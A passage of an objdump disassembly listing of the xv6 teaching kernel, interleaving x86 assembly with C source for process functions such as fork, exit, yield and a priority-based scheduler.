8010383b: 75 4a jne 80103887 <mycpu+0x57>
apicid = lapicid();
8010383d: e8 ce ef ff ff call 80102810 <lapicid>
for (i = 0; i < ncpu; ++i) {
80103842: 8b 15 00 29 11 80 mov 0x80112900,%edx
80103848: 85 d2 test %edx,%edx
8010384a: 7e 1b jle 80103867 <mycpu+0x37>
if (cpus[i].apicid == apicid)
8010384c: 0f b6 0d a0 27 11 80 movzbl 0x801127a0,%ecx
80103853: 39 c8 cmp %ecx,%eax
80103855: 74 21 je 80103878 <mycpu+0x48>
for (i = 0; i < ncpu; ++i) {
80103857: 83 fa 01 cmp $0x1,%edx
8010385a: 74 0b je 80103867 <mycpu+0x37>
if (cpus[i].apicid == apicid)
8010385c: 0f b6 15 50 28 11 80 movzbl 0x80112850,%edx
80103863: 39 d0 cmp %edx,%eax
80103865: 74 19 je 80103880 <mycpu+0x50>
panic("unknown apicid\n");
80103867: 83 ec 0c sub $0xc,%esp
8010386a: 68 dc 78 10 80 push $0x801078dc
8010386f: e8 1c cb ff ff call 80100390 <panic>
80103874: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if (cpus[i].apicid == apicid)
80103878: b8 a0 27 11 80 mov $0x801127a0,%eax
}
8010387d: c9 leave
8010387e: c3 ret
8010387f: 90 nop
if (cpus[i].apicid == apicid)
80103880: b8 50 28 11 80 mov $0x80112850,%eax
}
80103885: c9 leave
80103886: c3 ret
panic("mycpu called with interrupts enabled\n");
80103887: 83 ec 0c sub $0xc,%esp
8010388a: 68 04 7a 10 80 push $0x80107a04
8010388f: e8 fc ca ff ff call 80100390 <panic>
80103894: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010389a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801038a0 <cpuid>:
cpuid() {
801038a0: 55 push %ebp
801038a1: 89 e5 mov %esp,%ebp
801038a3: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
801038a6: e8 85 ff ff ff call 80103830 <mycpu>
801038ab: 2d a0 27 11 80 sub $0x801127a0,%eax
}
801038b0: c9 leave
return mycpu()-cpus;
801038b1: c1 f8 04 sar $0x4,%eax
801038b4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
801038ba: c3 ret
801038bb: 90 nop
801038bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801038c0 <myproc>:
myproc(void) {
801038c0: 55 push %ebp
801038c1: 89 e5 mov %esp,%ebp
801038c3: 53 push %ebx
801038c4: 83 ec 04 sub $0x4,%esp
pushcli();
801038c7: e8 c4 0b 00 00 call 80104490 <pushcli>
c = mycpu();
801038cc: e8 5f ff ff ff call 80103830 <mycpu>
p = c->proc;
801038d1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
801038d7: e8 f4 0b 00 00 call 801044d0 <popcli>
}
801038dc: 83 c4 04 add $0x4,%esp
801038df: 89 d8 mov %ebx,%eax
801038e1: 5b pop %ebx
801038e2: 5d pop %ebp
801038e3: c3 ret
801038e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801038ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801038f0 <userinit>:
{
801038f0: 55 push %ebp
801038f1: 89 e5 mov %esp,%ebp
801038f3: 53 push %ebx
801038f4: 83 ec 04 sub $0x4,%esp
p = allocproc();
801038f7: e8 e4 fd ff ff call 801036e0 <allocproc>
801038fc: 89 c3 mov %eax,%ebx
initproc = p;
801038fe: a3 c0 a5 10 80 mov %eax,0x8010a5c0
if((p->pgdir = setupkvm()) == 0)
80103903: e8 a8 37 00 00 call 801070b0 <setupkvm>
80103908: 85 c0 test %eax,%eax
8010390a: 89 43 04 mov %eax,0x4(%ebx)
8010390d: 0f 84 bd 00 00 00 je 801039d0 <userinit+0xe0>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80103913: 83 ec 04 sub $0x4,%esp
80103916: 68 2c 00 00 00 push $0x2c
8010391b: 68 60 a4 10 80 push $0x8010a460
80103920: 50 push %eax
80103921: e8 6a 34 00 00 call 80106d90 <inituvm>
memset(p->tf, 0, sizeof(*p->tf));
80103926: 83 c4 0c add $0xc,%esp
p->sz = PGSIZE;
80103929: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
8010392f: 6a 4c push $0x4c
80103931: 6a 00 push $0x0
80103933: ff 73 18 pushl 0x18(%ebx)
80103936: e8 35 0d 00 00 call 80104670 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
8010393b: 8b 43 18 mov 0x18(%ebx),%eax
8010393e: ba 1b 00 00 00 mov $0x1b,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103943: b9 23 00 00 00 mov $0x23,%ecx
safestrcpy(p->name, "initcode", sizeof(p->name));
80103948: 83 c4 0c add $0xc,%esp
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
8010394b: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
8010394f: 8b 43 18 mov 0x18(%ebx),%eax
80103952: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
80103956: 8b 43 18 mov 0x18(%ebx),%eax
80103959: 0f b7 50 2c movzwl 0x2c(%eax),%edx
8010395d: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
80103961: 8b 43 18 mov 0x18(%ebx),%eax
80103964: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103968: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
8010396c: 8b 43 18 mov 0x18(%ebx),%eax
8010396f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103976: 8b 43 18 mov 0x18(%ebx),%eax
80103979: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
80103980: 8b 43 18 mov 0x18(%ebx),%eax
80103983: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
8010398a: 8d 43 6c lea 0x6c(%ebx),%eax
8010398d: 6a 10 push $0x10
8010398f: 68 05 79 10 80 push $0x80107905
80103994: 50 push %eax
80103995: e8 b6 0e 00 00 call 80104850 <safestrcpy>
p->cwd = namei("/");
8010399a: c7 04 24 0e 79 10 80 movl $0x8010790e,(%esp)
801039a1: e8 3a e5 ff ff call 80101ee0 <namei>
801039a6: 89 43 68 mov %eax,0x68(%ebx)
acquire(&ptable.lock);
801039a9: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
801039b0: e8 ab 0b 00 00 call 80104560 <acquire>
p->state = RUNNABLE;
801039b5: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
801039bc: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
801039c3: e8 58 0c 00 00 call 80104620 <release>
}
801039c8: 83 c4 10 add $0x10,%esp
801039cb: 8b 5d fc mov -0x4(%ebp),%ebx
801039ce: c9 leave
801039cf: c3 ret
panic("userinit: out of memory?");
801039d0: 83 ec 0c sub $0xc,%esp
801039d3: 68 ec 78 10 80 push $0x801078ec
801039d8: e8 b3 c9 ff ff call 80100390 <panic>
801039dd: 8d 76 00 lea 0x0(%esi),%esi
801039e0 <growproc>:
{
801039e0: 55 push %ebp
801039e1: 89 e5 mov %esp,%ebp
801039e3: 56 push %esi
801039e4: 53 push %ebx
801039e5: 8b 75 08 mov 0x8(%ebp),%esi
pushcli();
801039e8: e8 a3 0a 00 00 call 80104490 <pushcli>
c = mycpu();
801039ed: e8 3e fe ff ff call 80103830 <mycpu>
p = c->proc;
801039f2: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
801039f8: e8 d3 0a 00 00 call 801044d0 <popcli>
if(n > 0){
801039fd: 83 fe 00 cmp $0x0,%esi
sz = curproc->sz;
80103a00: 8b 03 mov (%ebx),%eax
if(n > 0){
80103a02: 7f 1c jg 80103a20 <growproc+0x40>
} else if(n < 0){
80103a04: 75 3a jne 80103a40 <growproc+0x60>
switchuvm(curproc);
80103a06: 83 ec 0c sub $0xc,%esp
curproc->sz = sz;
80103a09: 89 03 mov %eax,(%ebx)
switchuvm(curproc);
80103a0b: 53 push %ebx
80103a0c: e8 6f 32 00 00 call 80106c80 <switchuvm>
return 0;
80103a11: 83 c4 10 add $0x10,%esp
80103a14: 31 c0 xor %eax,%eax
}
80103a16: 8d 65 f8 lea -0x8(%ebp),%esp
80103a19: 5b pop %ebx
80103a1a: 5e pop %esi
80103a1b: 5d pop %ebp
80103a1c: c3 ret
80103a1d: 8d 76 00 lea 0x0(%esi),%esi
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
80103a20: 83 ec 04 sub $0x4,%esp
80103a23: 01 c6 add %eax,%esi
80103a25: 56 push %esi
80103a26: 50 push %eax
80103a27: ff 73 04 pushl 0x4(%ebx)
80103a2a: e8 a1 34 00 00 call 80106ed0 <allocuvm>
80103a2f: 83 c4 10 add $0x10,%esp
80103a32: 85 c0 test %eax,%eax
80103a34: 75 d0 jne 80103a06 <growproc+0x26>
return -1;
80103a36: b8 ff ff ff ff mov $0xffffffff,%eax
80103a3b: eb d9 jmp 80103a16 <growproc+0x36>
80103a3d: 8d 76 00 lea 0x0(%esi),%esi
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
80103a40: 83 ec 04 sub $0x4,%esp
80103a43: 01 c6 add %eax,%esi
80103a45: 56 push %esi
80103a46: 50 push %eax
80103a47: ff 73 04 pushl 0x4(%ebx)
80103a4a: e8 b1 35 00 00 call 80107000 <deallocuvm>
80103a4f: 83 c4 10 add $0x10,%esp
80103a52: 85 c0 test %eax,%eax
80103a54: 75 b0 jne 80103a06 <growproc+0x26>
80103a56: eb de jmp 80103a36 <growproc+0x56>
80103a58: 90 nop
80103a59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103a60 <fork>:
{
80103a60: 55 push %ebp
80103a61: 89 e5 mov %esp,%ebp
80103a63: 57 push %edi
80103a64: 56 push %esi
80103a65: 53 push %ebx
80103a66: 83 ec 1c sub $0x1c,%esp
pushcli();
80103a69: e8 22 0a 00 00 call 80104490 <pushcli>
c = mycpu();
80103a6e: e8 bd fd ff ff call 80103830 <mycpu>
p = c->proc;
80103a73: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103a79: e8 52 0a 00 00 call 801044d0 <popcli>
if((np = allocproc()) == 0){
80103a7e: e8 5d fc ff ff call 801036e0 <allocproc>
80103a83: 85 c0 test %eax,%eax
80103a85: 89 45 e4 mov %eax,-0x1c(%ebp)
80103a88: 0f 84 b7 00 00 00 je 80103b45 <fork+0xe5>
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103a8e: 83 ec 08 sub $0x8,%esp
80103a91: ff 33 pushl (%ebx)
80103a93: ff 73 04 pushl 0x4(%ebx)
80103a96: 89 c7 mov %eax,%edi
80103a98: e8 e3 36 00 00 call 80107180 <copyuvm>
80103a9d: 83 c4 10 add $0x10,%esp
80103aa0: 85 c0 test %eax,%eax
80103aa2: 89 47 04 mov %eax,0x4(%edi)
80103aa5: 0f 84 a1 00 00 00 je 80103b4c <fork+0xec>
np->sz = curproc->sz;
80103aab: 8b 03 mov (%ebx),%eax
80103aad: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103ab0: 89 01 mov %eax,(%ecx)
np->parent = curproc;
80103ab2: 89 59 14 mov %ebx,0x14(%ecx)
80103ab5: 89 c8 mov %ecx,%eax
*np->tf = *curproc->tf;
80103ab7: 8b 79 18 mov 0x18(%ecx),%edi
80103aba: 8b 73 18 mov 0x18(%ebx),%esi
80103abd: b9 13 00 00 00 mov $0x13,%ecx
80103ac2: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
for(i = 0; i < NOFILE; i++)
80103ac4: 31 f6 xor %esi,%esi
np->tf->eax = 0;
80103ac6: 8b 40 18 mov 0x18(%eax),%eax
80103ac9: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
if(curproc->ofile[i])
80103ad0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103ad4: 85 c0 test %eax,%eax
80103ad6: 74 13 je 80103aeb <fork+0x8b>
np->ofile[i] = filedup(curproc->ofile[i]);
80103ad8: 83 ec 0c sub $0xc,%esp
80103adb: 50 push %eax
80103adc: e8 0f d3 ff ff call 80100df0 <filedup>
80103ae1: 8b 55 e4 mov -0x1c(%ebp),%edx
80103ae4: 83 c4 10 add $0x10,%esp
80103ae7: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
for(i = 0; i < NOFILE; i++)
80103aeb: 83 c6 01 add $0x1,%esi
80103aee: 83 fe 10 cmp $0x10,%esi
80103af1: 75 dd jne 80103ad0 <fork+0x70>
np->cwd = idup(curproc->cwd);
80103af3: 83 ec 0c sub $0xc,%esp
80103af6: ff 73 68 pushl 0x68(%ebx)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
80103af9: 83 c3 6c add $0x6c,%ebx
np->cwd = idup(curproc->cwd);
80103afc: e8 4f db ff ff call 80101650 <idup>
80103b01: 8b 7d e4 mov -0x1c(%ebp),%edi
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
80103b04: 83 c4 0c add $0xc,%esp
np->cwd = idup(curproc->cwd);
80103b07: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
80103b0a: 8d 47 6c lea 0x6c(%edi),%eax
80103b0d: 6a 10 push $0x10
80103b0f: 53 push %ebx
80103b10: 50 push %eax
80103b11: e8 3a 0d 00 00 call 80104850 <safestrcpy>
pid = np->pid;
80103b16: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
80103b19: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
80103b20: e8 3b 0a 00 00 call 80104560 <acquire>
np->state = RUNNABLE;
80103b25: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
80103b2c: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
80103b33: e8 e8 0a 00 00 call 80104620 <release>
return pid;
80103b38: 83 c4 10 add $0x10,%esp
}
80103b3b: 8d 65 f4 lea -0xc(%ebp),%esp
80103b3e: 89 d8 mov %ebx,%eax
80103b40: 5b pop %ebx
80103b41: 5e pop %esi
80103b42: 5f pop %edi
80103b43: 5d pop %ebp
80103b44: c3 ret
return -1;
80103b45: bb ff ff ff ff mov $0xffffffff,%ebx
80103b4a: eb ef jmp 80103b3b <fork+0xdb>
kfree(np->kstack);
80103b4c: 8b 5d e4 mov -0x1c(%ebp),%ebx
80103b4f: 83 ec 0c sub $0xc,%esp
80103b52: ff 73 08 pushl 0x8(%ebx)
80103b55: e8 b6 e7 ff ff call 80102310 <kfree>
np->kstack = 0;
80103b5a: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
np->state = UNUSED;
80103b61: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return -1;
80103b68: 83 c4 10 add $0x10,%esp
80103b6b: bb ff ff ff ff mov $0xffffffff,%ebx
80103b70: eb c9 jmp 80103b3b <fork+0xdb>
80103b72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103b80 <scheduler>:
{
80103b80: 55 push %ebp
80103b81: 89 e5 mov %esp,%ebp
80103b83: 57 push %edi
80103b84: 56 push %esi
80103b85: 53 push %ebx
80103b86: 83 ec 0c sub $0xc,%esp
struct cpu *c = mycpu();
80103b89: e8 a2 fc ff ff call 80103830 <mycpu>
80103b8e: 8d 70 04 lea 0x4(%eax),%esi
80103b91: 89 c3 mov %eax,%ebx
c->proc = 0;
80103b93: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
80103b9a: 00 00 00
asm volatile("sti");
80103b9d: fb sti
acquire(&ptable.lock);
80103b9e: 83 ec 0c sub $0xc,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ba1: bf 54 29 11 80 mov $0x80112954,%edi
acquire(&ptable.lock);
80103ba6: 68 20 29 11 80 push $0x80112920
80103bab: e8 b0 09 00 00 call 80104560 <acquire>
80103bb0: 83 c4 10 add $0x10,%esp
80103bb3: eb 0e jmp 80103bc3 <scheduler+0x43>
80103bb5: 8d 76 00 lea 0x0(%esi),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103bb8: 83 ef 80 sub $0xffffff80,%edi
80103bbb: 81 ff 54 49 11 80 cmp $0x80114954,%edi
80103bc1: 73 64 jae 80103c27 <scheduler+0xa7>
if(p->state != RUNNABLE)
80103bc3: 83 7f 0c 03 cmpl $0x3,0xc(%edi)
80103bc7: 75 ef jne 80103bb8 <scheduler+0x38>
for(p1 = ptable.proc; p1 < &ptable.proc[NPROC]; p1++) {
80103bc9: b8 54 29 11 80 mov $0x80112954,%eax
80103bce: 66 90 xchg %ax,%ax
if (p1->state != RUNNABLE)
80103bd0: 83 78 0c 03 cmpl $0x3,0xc(%eax)
80103bd4: 75 09 jne 80103bdf <scheduler+0x5f>
if(highP->priority > p1->priority)
80103bd6: 8b 50 7c mov 0x7c(%eax),%edx
80103bd9: 39 57 7c cmp %edx,0x7c(%edi)
80103bdc: 0f 4f f8 cmovg %eax,%edi
for(p1 = ptable.proc; p1 < &ptable.proc[NPROC]; p1++) {
80103bdf: 83 e8 80 sub $0xffffff80,%eax
80103be2: 3d 54 49 11 80 cmp $0x80114954,%eax
80103be7: 72 e7 jb 80103bd0 <scheduler+0x50>
switchuvm(p);
80103be9: 83 ec 0c sub $0xc,%esp
c->proc = p;
80103bec: 89 bb ac 00 00 00 mov %edi,0xac(%ebx)
switchuvm(p);
80103bf2: 57 push %edi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103bf3: 83 ef 80 sub $0xffffff80,%edi
switchuvm(p);
80103bf6: e8 85 30 00 00 call 80106c80 <switchuvm>
p->state = RUNNING;
80103bfb: c7 47 8c 04 00 00 00 movl $0x4,-0x74(%edi)
swtch(&(c->scheduler), p->context);
80103c02: 58 pop %eax
80103c03: 5a pop %edx
80103c04: ff 77 9c pushl -0x64(%edi)
80103c07: 56 push %esi
80103c08: e8 9e 0c 00 00 call 801048ab <swtch>
switchkvm();
80103c0d: e8 4e 30 00 00 call 80106c60 <switchkvm>
c->proc = 0;
80103c12: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103c15: 81 ff 54 49 11 80 cmp $0x80114954,%edi
c->proc = 0;
80103c1b: c7 83 ac 00 00 00 00 movl $0x0,0xac(%ebx)
80103c22: 00 00 00
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103c25: 72 9c jb 80103bc3 <scheduler+0x43>
release(&ptable.lock);
80103c27: 83 ec 0c sub $0xc,%esp
80103c2a: 68 20 29 11 80 push $0x80112920
80103c2f: e8 ec 09 00 00 call 80104620 <release>
for(;;){
80103c34: 83 c4 10 add $0x10,%esp
80103c37: e9 61 ff ff ff jmp 80103b9d <scheduler+0x1d>
80103c3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103c40 <sched>:
{
80103c40: 55 push %ebp
80103c41: 89 e5 mov %esp,%ebp
80103c43: 56 push %esi
80103c44: 53 push %ebx
pushcli();
80103c45: e8 46 08 00 00 call 80104490 <pushcli>
c = mycpu();
80103c4a: e8 e1 fb ff ff call 80103830 <mycpu>
p = c->proc;
80103c4f: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103c55: e8 76 08 00 00 call 801044d0 <popcli>
if(!holding(&ptable.lock))
80103c5a: 83 ec 0c sub $0xc,%esp
80103c5d: 68 20 29 11 80 push $0x80112920
80103c62: e8 c9 08 00 00 call 80104530 <holding>
80103c67: 83 c4 10 add $0x10,%esp
80103c6a: 85 c0 test %eax,%eax
80103c6c: 74 4f je 80103cbd <sched+0x7d>
if(mycpu()->ncli != 1)
80103c6e: e8 bd fb ff ff call 80103830 <mycpu>
80103c73: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
80103c7a: 75 68 jne 80103ce4 <sched+0xa4>
if(p->state == RUNNING)
80103c7c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103c80: 74 55 je 80103cd7 <sched+0x97>
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103c82: 9c pushf
80103c83: 58 pop %eax
if(readeflags()&FL_IF)
80103c84: f6 c4 02 test $0x2,%ah
80103c87: 75 41 jne 80103cca <sched+0x8a>
intena = mycpu()->intena;
80103c89: e8 a2 fb ff ff call 80103830 <mycpu>
swtch(&p->context, mycpu()->scheduler);
80103c8e: 83 c3 1c add $0x1c,%ebx
intena = mycpu()->intena;
80103c91: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
80103c97: e8 94 fb ff ff call 80103830 <mycpu>
80103c9c: 83 ec 08 sub $0x8,%esp
80103c9f: ff 70 04 pushl 0x4(%eax)
80103ca2: 53 push %ebx
80103ca3: e8 03 0c 00 00 call 801048ab <swtch>
mycpu()->intena = intena;
80103ca8: e8 83 fb ff ff call 80103830 <mycpu>
}
80103cad: 83 c4 10 add $0x10,%esp
mycpu()->intena = intena;
80103cb0: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
80103cb6: 8d 65 f8 lea -0x8(%ebp),%esp
80103cb9: 5b pop %ebx
80103cba: 5e pop %esi
80103cbb: 5d pop %ebp
80103cbc: c3 ret
panic("sched ptable.lock");
80103cbd: 83 ec 0c sub $0xc,%esp
80103cc0: 68 10 79 10 80 push $0x80107910
80103cc5: e8 c6 c6 ff ff call 80100390 <panic>
panic("sched interruptible");
80103cca: 83 ec 0c sub $0xc,%esp
80103ccd: 68 3c 79 10 80 push $0x8010793c
80103cd2: e8 b9 c6 ff ff call 80100390 <panic>
panic("sched running");
80103cd7: 83 ec 0c sub $0xc,%esp
80103cda: 68 2e 79 10 80 push $0x8010792e
80103cdf: e8 ac c6 ff ff call 80100390 <panic>
panic("sched locks");
80103ce4: 83 ec 0c sub $0xc,%esp
80103ce7: 68 22 79 10 80 push $0x80107922
80103cec: e8 9f c6 ff ff call 80100390 <panic>
80103cf1: eb 0d jmp 80103d00 <exit>
80103cf3: 90 nop
80103cf4: 90 nop
80103cf5: 90 nop
80103cf6: 90 nop
80103cf7: 90 nop
80103cf8: 90 nop
80103cf9: 90 nop
80103cfa: 90 nop
80103cfb: 90 nop
80103cfc: 90 nop
80103cfd: 90 nop
80103cfe: 90 nop
80103cff: 90 nop
80103d00 <exit>:
{
80103d00: 55 push %ebp
80103d01: 89 e5 mov %esp,%ebp
80103d03: 57 push %edi
80103d04: 56 push %esi
80103d05: 53 push %ebx
80103d06: 83 ec 0c sub $0xc,%esp
pushcli();
80103d09: e8 82 07 00 00 call 80104490 <pushcli>
c = mycpu();
80103d0e: e8 1d fb ff ff call 80103830 <mycpu>
p = c->proc;
80103d13: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi
popcli();
80103d19: e8 b2 07 00 00 call 801044d0 <popcli>
if(curproc == initproc)
80103d1e: 39 35 c0 a5 10 80 cmp %esi,0x8010a5c0
80103d24: 8d 5e 28 lea 0x28(%esi),%ebx
80103d27: 8d 7e 68 lea 0x68(%esi),%edi
80103d2a: 0f 84 e7 00 00 00 je 80103e17 <exit+0x117>
if(curproc->ofile[fd]){
80103d30: 8b 03 mov (%ebx),%eax
80103d32: 85 c0 test %eax,%eax
80103d34: 74 12 je 80103d48 <exit+0x48>
fileclose(curproc->ofile[fd]);
80103d36: 83 ec 0c sub $0xc,%esp
80103d39: 50 push %eax
80103d3a: e8 01 d1 ff ff call 80100e40 <fileclose>
curproc->ofile[fd] = 0;
80103d3f: c7 03 00 00 00 00 movl $0x0,(%ebx)
80103d45: 83 c4 10 add $0x10,%esp
80103d48: 83 c3 04 add $0x4,%ebx
for(fd = 0; fd < NOFILE; fd++){
80103d4b: 39 fb cmp %edi,%ebx
80103d4d: 75 e1 jne 80103d30 <exit+0x30>
begin_op();
80103d4f: e8 2c ef ff ff call 80102c80 <begin_op>
iput(curproc->cwd);
80103d54: 83 ec 0c sub $0xc,%esp
80103d57: ff 76 68 pushl 0x68(%esi)
80103d5a: e8 51 da ff ff call 801017b0 <iput>
end_op();
80103d5f: e8 8c ef ff ff call 80102cf0 <end_op>
curproc->cwd = 0;
80103d64: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi)
acquire(&ptable.lock);
80103d6b: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
80103d72: e8 e9 07 00 00 call 80104560 <acquire>
wakeup1(curproc->parent);
80103d77: 8b 56 14 mov 0x14(%esi),%edx
80103d7a: 83 c4 10 add $0x10,%esp
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103d7d: b8 54 29 11 80 mov $0x80112954,%eax
80103d82: eb 0e jmp 80103d92 <exit+0x92>
80103d84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103d88: 83 e8 80 sub $0xffffff80,%eax
80103d8b: 3d 54 49 11 80 cmp $0x80114954,%eax
80103d90: 73 1c jae 80103dae <exit+0xae>
if(p->state == SLEEPING && p->chan == chan)
80103d92: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103d96: 75 f0 jne 80103d88 <exit+0x88>
80103d98: 3b 50 20 cmp 0x20(%eax),%edx
80103d9b: 75 eb jne 80103d88 <exit+0x88>
p->state = RUNNABLE;
80103d9d: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103da4: 83 e8 80 sub $0xffffff80,%eax
80103da7: 3d 54 49 11 80 cmp $0x80114954,%eax
80103dac: 72 e4 jb 80103d92 <exit+0x92>
p->parent = initproc;
80103dae: 8b 0d c0 a5 10 80 mov 0x8010a5c0,%ecx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103db4: ba 54 29 11 80 mov $0x80112954,%edx
80103db9: eb 10 jmp 80103dcb <exit+0xcb>
80103dbb: 90 nop
80103dbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103dc0: 83 ea 80 sub $0xffffff80,%edx
80103dc3: 81 fa 54 49 11 80 cmp $0x80114954,%edx
80103dc9: 73 33 jae 80103dfe <exit+0xfe>
if(p->parent == curproc){
80103dcb: 39 72 14 cmp %esi,0x14(%edx)
80103dce: 75 f0 jne 80103dc0 <exit+0xc0>
if(p->state == ZOMBIE)
80103dd0: 83 7a 0c 05 cmpl $0x5,0xc(%edx)
p->parent = initproc;
80103dd4: 89 4a 14 mov %ecx,0x14(%edx)
if(p->state == ZOMBIE)
80103dd7: 75 e7 jne 80103dc0 <exit+0xc0>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103dd9: b8 54 29 11 80 mov $0x80112954,%eax
80103dde: eb 0a jmp 80103dea <exit+0xea>
80103de0: 83 e8 80 sub $0xffffff80,%eax
80103de3: 3d 54 49 11 80 cmp $0x80114954,%eax
80103de8: 73 d6 jae 80103dc0 <exit+0xc0>
if(p->state == SLEEPING && p->chan == chan)
80103dea: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103dee: 75 f0 jne 80103de0 <exit+0xe0>
80103df0: 3b 48 20 cmp 0x20(%eax),%ecx
80103df3: 75 eb jne 80103de0 <exit+0xe0>
p->state = RUNNABLE;
80103df5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103dfc: eb e2 jmp 80103de0 <exit+0xe0>
curproc->state = ZOMBIE;
80103dfe: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi)
sched();
80103e05: e8 36 fe ff ff call 80103c40 <sched>
panic("zombie exit");
80103e0a: 83 ec 0c sub $0xc,%esp
80103e0d: 68 5d 79 10 80 push $0x8010795d
80103e12: e8 79 c5 ff ff call 80100390 <panic>
panic("init exiting");
80103e17: 83 ec 0c sub $0xc,%esp
80103e1a: 68 50 79 10 80 push $0x80107950
80103e1f: e8 6c c5 ff ff call 80100390 <panic>
80103e24: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103e2a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103e30 <yield>:
{
80103e30: 55 push %ebp
80103e31: 89 e5 mov %esp,%ebp
80103e33: 53 push %ebx
80103e34: 83 ec 10 sub $0x10,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103e37: 68 20 29 11 80 push $0x80112920
80103e3c: e8 1f 07 00 00 call 80104560 <acquire>
pushcli();
80103e41: e8 4a 06 00 00 call 80104490 <pushcli>
c = mycpu();
80103e46: e8 e5 f9 ff ff call 80103830 <mycpu>
p = c->proc;
80103e4b: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103e51: e8 7a 06 00 00 call 801044d0 <popcli>
myproc()->state = RUNNABLE;
80103e56: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
sched();
80103e5d: e8 de fd ff ff call 80103c40 <sched>
release(&ptable.lock);
80103e62: c7 04 24 20 29 11 80 movl $0x80112920,(%esp)
80103e69: e8 b2 07 00 00 call 80104620 <release>
}
80103e6e: 83 c4 10 add $0x10,%esp
80103e71: 8b 5d fc mov -0x4(%ebp),%ebx
80103e74: c9 leave
80103e75: c3 ret
80103e76: 8d 76 00 lea 0x0(%esi),%esi
80103e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
